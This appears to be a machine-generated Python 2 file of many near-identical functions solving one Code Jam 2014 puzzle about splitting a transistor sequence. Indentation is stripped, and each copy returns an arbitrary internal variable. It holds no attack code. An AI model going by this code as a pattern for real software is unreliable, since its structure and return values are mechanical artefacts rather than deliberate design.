nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
infile.close()
return testcase
def func_34411b1232c9414fae23b894fac1d12d(infile, n):
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
infile.close()
return nextfirstsum
def func_5152f1a155044cc0b5005c5e8c138844(infile, n):
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
infile.close()
return i
def func_d91ca4ea8cb341f7993ee73e7531f71b(infile, n):
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
infile.close()
return r
def func_c03b1fcf807a4bc6a99e765595ed9dda(infile, n):
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
infile.close()
return x
def func_12eb54ee2d19469ba0e89265d55e9dd4(infile, n):
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
infile.close()
return minimax
def func_02a7e4ea0e9f417184ef49918f507352(infile, n):
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
infile.close()
return first
def func_cd5c915a9d124d629bb92941f7d14c6f(infile, n):
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
infile.close()
return N
def func_eab2fe7a596141a2a5c08ad4ddc258d0(infile, n):
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
infile.close()
return last
def func_cfcfde25d4cd47cfb6d530b570b5501f(infile, n):
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
infile.close()
return answer
def func_69c690eb529e412dbd8eba654db55be4(infile, n):
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
infile.close()
return nextlastsum
def func_df56b23392e84437893b27e9277a1a14():
infile = open('codejam/test_files/Y14R5P1/A.in')
n = int(infile.readline())
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
return transistorsum
def func_13984dc66f8c4800ad5619eba10b7907():
infile = open('codejam/test_files/Y14R5P1/A.in')
n = int(infile.readline())
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
return nextfirstsum
def func_e1f927eab46f46dfbdae3cf73e4a6be6():
infile = open('codejam/test_files/Y14R5P1/A.in')
n = int(infile.readline())
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
return transistors
def func_e134330a196f4971a5a6251026799a82():
infile = open('codejam/test_files/Y14R5P1/A.in')
n = int(infile.readline())
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
return lastsum
def func_77724e9207e94389903583a1caf2d0b1():
infile = open('codejam/test_files/Y14R5P1/A.in')
n = int(infile.readline())
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
return answer
def func_cd8c41ffe74642deba6c1f4f5e6ace59():
infile = open('codejam/test_files/Y14R5P1/A.in')
n = int(infile.readline())
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
return nextlastsum
def func_5faa6d23d22849e8af1867176a6a6762():
infile = open('codejam/test_files/Y14R5P1/A.in')
n = int(infile.readline())
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
return q
def func_c804e7519493479baa785d21a568eafd():
infile = open('codejam/test_files/Y14R5P1/A.in')
n = int(infile.readline())
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
return p
def func_83dfcfa99a134593ad74dd6aa58cf201():
infile = open('codejam/test_files/Y14R5P1/A.in')
n = int(infile.readline())
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
return minimax
def func_1f97aab9e7964d60bc870c5a096ae2bb():
infile = open('codejam/test_files/Y14R5P1/A.in')
n = int(infile.readline())
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
return firstsum
def func_8b4274cb4d494c5793be77de896f7b98():
infile = open('codejam/test_files/Y14R5P1/A.in')
n = int(infile.readline())
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
return x
def func_1ee25c94e66f4c91b256318828821904():
infile = open('codejam/test_files/Y14R5P1/A.in')
n = int(infile.readline())
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
return first
def func_2f792e315c2242d790c575e85e052f9f():
infile = open('codejam/test_files/Y14R5P1/A.in')
n = int(infile.readline())
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
return s
def func_cb2ac85c835d4928b3b33989ac19cd26():
infile = open('codejam/test_files/Y14R5P1/A.in')
n = int(infile.readline())
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
return testcase
def func_60c34c5139c342268c6f18d88f623de0():
infile = open('codejam/test_files/Y14R5P1/A.in')
n = int(infile.readline())
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
return r
def func_0f5cefe047304da896c29ce03e38b44b():
infile = open('codejam/test_files/Y14R5P1/A.in')
n = int(infile.readline())
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
return last
def func_59bdf0123fbf45ee91cec8f97b0eb93d():
infile = open('codejam/test_files/Y14R5P1/A.in')
n = int(infile.readline())
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
return i
def func_3246aea1bbc64fde80d32511c14bff67():
infile = open('codejam/test_files/Y14R5P1/A.in')
n = int(infile.readline())
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
return currentmax
def func_29acdbc547fd46e2ac0fdb6580e62d86():
infile = open('codejam/test_files/Y14R5P1/A.in')
n = int(infile.readline())
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
return n
def func_114d96ddb544409a8218202960a631e4():
infile = open('codejam/test_files/Y14R5P1/A.in')
n = int(infile.readline())
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
return infile
def func_701deba2d03e4410b8192118d338f31b():
infile = open('codejam/test_files/Y14R5P1/A.in')
n = int(infile.readline())
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
return N
def func_a9cde84f2436472a9a6366fb4e7d9304(infile):
n = int(infile.readline())
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
infile.close()
return firstsum
def func_dc542e35e908439cb77e77d0ae9ef970(infile):
n = int(infile.readline())
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
infile.close()
return transistors
def func_6ec90b39b2f24a188321e8f44b753509(infile):
n = int(infile.readline())
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
infile.close()
return n
def func_8056a95a4f8e4b3aaefefd800f03978a(infile):
n = int(infile.readline())
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
infile.close()
return N
def func_5fcaf2fe8f5a4e6fb48b0f723d8aba89(infile):
n = int(infile.readline())
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
infile.close()
return i
def func_e0f4da6a84d2488bbd971cc5c4ba6764(infile):
n = int(infile.readline())
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
infile.close()
return testcase
def func_957ca3d9ac0641b193a24a105d386ae1(infile):
n = int(infile.readline())
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
infile.close()
return lastsum
def func_d77fb607ba214fad883615abfce56743(infile):
n = int(infile.readline())
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
